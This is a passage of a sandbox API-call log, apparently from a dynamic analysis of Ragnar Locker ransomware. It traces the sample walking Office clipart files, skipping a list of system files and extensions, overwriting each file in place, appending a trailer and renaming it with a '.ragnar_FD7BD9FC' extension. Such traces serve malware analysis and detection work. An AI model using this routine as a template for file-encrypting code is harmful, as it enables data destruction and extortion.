Office\\CLIPART\\PUB60COR\\SY01572_.WMF.ragnar_FD7BD9FC" [0092.510] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.511] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda9a9b00, ftCreationTime.dwHighDateTime=0x1bd4c4d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xda9a9b00, ftLastWriteTime.dwHighDateTime=0x1bd4c4d, nFileSizeHigh=0x0, nFileSizeLow=0x338e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY01590_.WMF", cAlternateFileName="")) returned 1 [0092.511] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.511] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SY01590_.WMF" | out: lpString1="SY01590_.WMF") returned="SY01590_.WMF" [0092.511] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF") returned=".WMF" [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="autorun.inf") returned 1 [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="boot.ini") returned 1 [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="bootfont.bin") returned 1 [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="bootsect.bak") returned 1 [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="bootmgr") returned 1 [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="bootmgr.efi") returned 1 [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="desktop.ini") returned 1 [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="iconcache.db") returned 1 [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="ntldr") returned 1 [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="ntuser.dat") returned 1 [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.511] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="ntuser.ini") returned 1 [0092.512] lstrcmpiW (lpString1="SY01590_.WMF", lpString2="thumbs.db") returned -1 [0092.512] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.512] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.512] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.512] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.512] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.512] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.512] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf")) returned 0x20 [0092.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.512] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13198) returned 1 [0092.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3385, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.512] GetProcessHeap () returned 0x580000 [0092.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.512] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.514] VirtualAlloc (lpAddress=0x0, dwSize=0x338e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.514] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.514] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.514] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x338e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x338e, lpOverlapped=0x0) returned 1 [0092.515] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.515] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x338e, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.515] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x338e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x338e, lpOverlapped=0x0) returned 1 [0092.515] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x338e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.515] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.516] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x338e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.516] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.516] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.516] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.516] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.516] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.516] GetProcessHeap () returned 0x580000 [0092.516] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.516] CloseHandle (hObject=0xf4) returned 1 [0092.516] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" [0092.516] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.ragnar_FD7BD9FC" [0092.516] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.517] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAIL.WMF", cAlternateFileName="")) returned 1 [0092.517] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.517] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TAIL.WMF" | out: lpString1="TAIL.WMF") returned="TAIL.WMF" [0092.517] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF") returned=".WMF" [0092.517] lstrcmpiW (lpString1="TAIL.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.517] lstrcmpiW (lpString1="TAIL.WMF", lpString2="autorun.inf") returned 1 [0092.517] lstrcmpiW (lpString1="TAIL.WMF", lpString2="boot.ini") returned 1 [0092.517] lstrcmpiW (lpString1="TAIL.WMF", lpString2="bootfont.bin") returned 1 [0092.517] lstrcmpiW (lpString1="TAIL.WMF", lpString2="bootsect.bak") returned 1 [0092.517] lstrcmpiW (lpString1="TAIL.WMF", lpString2="bootmgr") returned 1 [0092.517] lstrcmpiW (lpString1="TAIL.WMF", lpString2="bootmgr.efi") returned 1 [0092.517] lstrcmpiW (lpString1="TAIL.WMF", lpString2="bootmgfw.efi") returned 1 [0092.517] lstrcmpiW (lpString1="TAIL.WMF", lpString2="desktop.ini") returned 1 [0092.517] lstrcmpiW (lpString1="TAIL.WMF", lpString2="iconcache.db") returned 1 [0092.518] lstrcmpiW (lpString1="TAIL.WMF", lpString2="ntldr") returned 1 [0092.518] lstrcmpiW (lpString1="TAIL.WMF", lpString2="ntuser.dat") returned 1 [0092.518] lstrcmpiW (lpString1="TAIL.WMF", lpString2="ntuser.dat.log") returned 1 [0092.518] lstrcmpiW (lpString1="TAIL.WMF", lpString2="ntuser.ini") returned 1 [0092.518] lstrcmpiW (lpString1="TAIL.WMF", lpString2="thumbs.db") returned -1 [0092.518] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.518] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.518] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.518] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.518] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.518] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.518] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf")) returned 0x20 [0092.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.518] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2230) returned 1 [0092.518] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.519] GetProcessHeap () returned 0x580000 [0092.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.519] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.520] VirtualAlloc (lpAddress=0x0, dwSize=0x8b6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.520] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8b6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8b6, lpOverlapped=0x0) returned 1 [0092.520] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.520] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b6, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.520] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8b6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8b6, lpOverlapped=0x0) returned 1 [0092.521] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8b6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.521] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.521] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.521] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.521] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.521] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.521] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.521] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.521] GetProcessHeap () returned 0x580000 [0092.521] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.521] CloseHandle (hObject=0xf4) returned 1 [0092.521] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" [0092.521] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.ragnar_FD7BD9FC" [0092.521] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.522] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9583f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9583f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xbde2, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00011_.WMF", cAlternateFileName="")) returned 1 [0092.522] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.522] lstrcpyW (in: lpString1=0x1eb62e, lpString2="TN00011_.WMF" | out: lpString1="TN00011_.WMF") returned="TN00011_.WMF" [0092.522] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF") returned=".WMF" [0092.522] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.522] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="autorun.inf") returned 1 [0092.522] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="boot.ini") returned 1 [0092.522] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="bootfont.bin") returned 1 [0092.522] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="bootsect.bak") returned 1 [0092.522] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="bootmgr") returned 1 [0092.522] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="bootmgr.efi") returned 1 [0092.522] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.523] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="desktop.ini") returned 1 [0092.523] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="iconcache.db") returned 1 [0092.523] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="ntldr") returned 1 [0092.523] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="ntuser.dat") returned 1 [0092.523] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.523] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="ntuser.ini") returned 1 [0092.523] lstrcmpiW (lpString1="TN00011_.WMF", lpString2="thumbs.db") returned 1 [0092.523] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.523] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.523] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.523] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.523] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.523] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.523] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf")) returned 0x20 [0092.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.524] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=48610) returned 1 [0092.524] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbdd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.524] GetProcessHeap () returned 0x580000 [0092.524] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.524] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.525] VirtualAlloc (lpAddress=0x0, dwSize=0xbde2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.526] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.526] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.526] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbde2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbde2, lpOverlapped=0x0) returned 1 [0092.527] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.528] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbde2, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.528] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbde2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbde2, lpOverlapped=0x0) returned 1 [0092.528] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbde2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.528] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.528] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbde2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.528] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.528] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.529] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.529] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.529] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.529] GetProcessHeap () returned 0x580000 [0092.529] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.529] CloseHandle (hObject=0xf4) returned 1 [0092.529] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" [0092.529] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.ragnar_FD7BD9FC" [0092.529] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.530] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 